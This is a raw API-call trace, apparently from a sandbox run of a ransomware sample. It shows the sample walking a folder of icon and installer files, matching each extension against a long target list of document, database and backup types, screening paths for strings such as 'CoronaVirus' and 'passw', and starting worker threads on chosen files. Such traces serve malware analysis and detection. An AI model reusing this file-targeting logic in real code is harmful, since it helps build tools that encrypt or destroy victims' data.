	[0082.595] wcsstr (_Str=".lic", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".avi", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".mov", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".mp3", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".vbs", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".v8i", _SubStr=".ico") returned 0x0
	[0082.595] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.595] wcsstr (_Str=".erf", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".epf", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".mxl", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".cfu", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".mht", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".old", _SubStr=".ico") returned 0x0
	[0082.596] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0082.596] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.596] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.596] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.596] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".sdf", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".dwg", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".dxf", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".dgn", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".stl", _SubStr=".ico") returned 0x0
	[0082.597] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.597] wcsstr (_Str=".gho", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".v2i", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".3ds", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".ppt", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".acc", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".vpd", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".odt", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".ods", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".rar", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".zip", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".cpp", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".pas", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".asm", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".rtf", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".lic", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".avi", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".mov", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".mp3", _SubStr=".ico") returned 0x0
	[0082.598] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.598] wcsstr (_Str=".vbs", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".v8i", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".erf", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".epf", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".mxl", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".cfu", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".mht", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".old", _SubStr=".ico") returned 0x0
	[0082.599] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0082.599] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.599] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".bak", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".bat", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".doc", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".jpg", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".jpe", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".txt", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.599] wcsstr (_Str=".tex", _SubStr=".ico") returned 0x0
	[0082.599] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".dbf", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".xls", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".cry", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".xml", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".vsd", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".pdf", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".csv", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".bmp", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".tif", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".1cd", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".tax", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".gif", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".gbr", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".png", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".mdb", _SubStr=".ico") returned 0x0
	[0082.600] _wcslwr (in: _String=0x316587a | out: _String=".ico") returned=".ico"
	[0082.600] wcsstr (_Str=".mdf", _SubStr=".ico") returned 0x0
	[0082.600] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0082.600] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.600] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.601] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.601] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0082.601] wcsncmp (_String1="Ro", _String2="..", _MaxCount=0x2) returned 36
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.601] wcsncmp (_String1="Sa", _String2="..", _MaxCount=0x2) returned 37
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.601] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1
	[0082.601] wcsncmp (_String1="s", _String2=".", _MaxCount=0x1) returned 69
	[0082.601] wcsncmp (_String1="st", _String2="..", _MaxCount=0x2) returned 69
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1
	[0082.601] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.601] wcsncmp (_String1="Sy", _String2="..", _MaxCount=0x2) returned 37
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1
	[0082.601] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.601] wcsncmp (_String1="Sy", _String2="..", _MaxCount=0x2) returned 37
	[0082.601] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1
	[0082.602] wcsncmp (_String1="w", _String2=".", _MaxCount=0x1) returned 73
	[0082.602] wcsncmp (_String1="wa", _String2="..", _MaxCount=0x2) returned 73
	[0082.602] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0
	[0082.602] FindClose (in: hFindFile=0x6009d0 | out: hFindFile=0x6009d0) returned 1
	[0082.602] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="header.bmp", cAlternateFileName="")) returned 1
	[0082.602] wcsncmp (_String1="h", _String2=".", _MaxCount=0x1) returned 58
	[0082.602] wcsncmp (_String1="he", _String2="..", _MaxCount=0x2) returned 58
	[0082.602] malloc (_Size=0x1000) returned 0x2f2d570
	[0082.602] _swprintf (in: param_1=0x2f2d570, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0082.602] wcsstr (_Str="C:\\588bce7c90097ed212\\header.bmp", _SubStr="CoronaVirus") returned 0x0
	[0082.602] wcsstr (_Str="C:\\588bce7c90097ed212\\header.bmp", _SubStr="wasse") returned 0x0
	[0082.602] wcsstr (_Str="C:\\588bce7c90097ed212\\header.bmp", _SubStr="passw") returned 0x0
	[0082.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f2d570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0082.603] SetThreadPriority (hThread=0x4d8, nPriority=15) returned 1
	[0082.605] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1
	[0082.605] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.605] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.605] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.605] wcsstr (_Str=".bak", _SubStr=".mzz") returned 0x0
	[0082.605] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.605] wcsstr (_Str=".bat", _SubStr=".mzz") returned 0x0
	[0082.605] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.605] wcsstr (_Str=".doc", _SubStr=".mzz") returned 0x0
	[0082.605] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".jpg", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".jpe", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".txt", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".tex", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".dbf", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".xls", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".cry", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.607] wcsstr (_Str=".xml", _SubStr=".mzz") returned 0x0
	[0082.607] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".vsd", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".pdf", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".csv", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
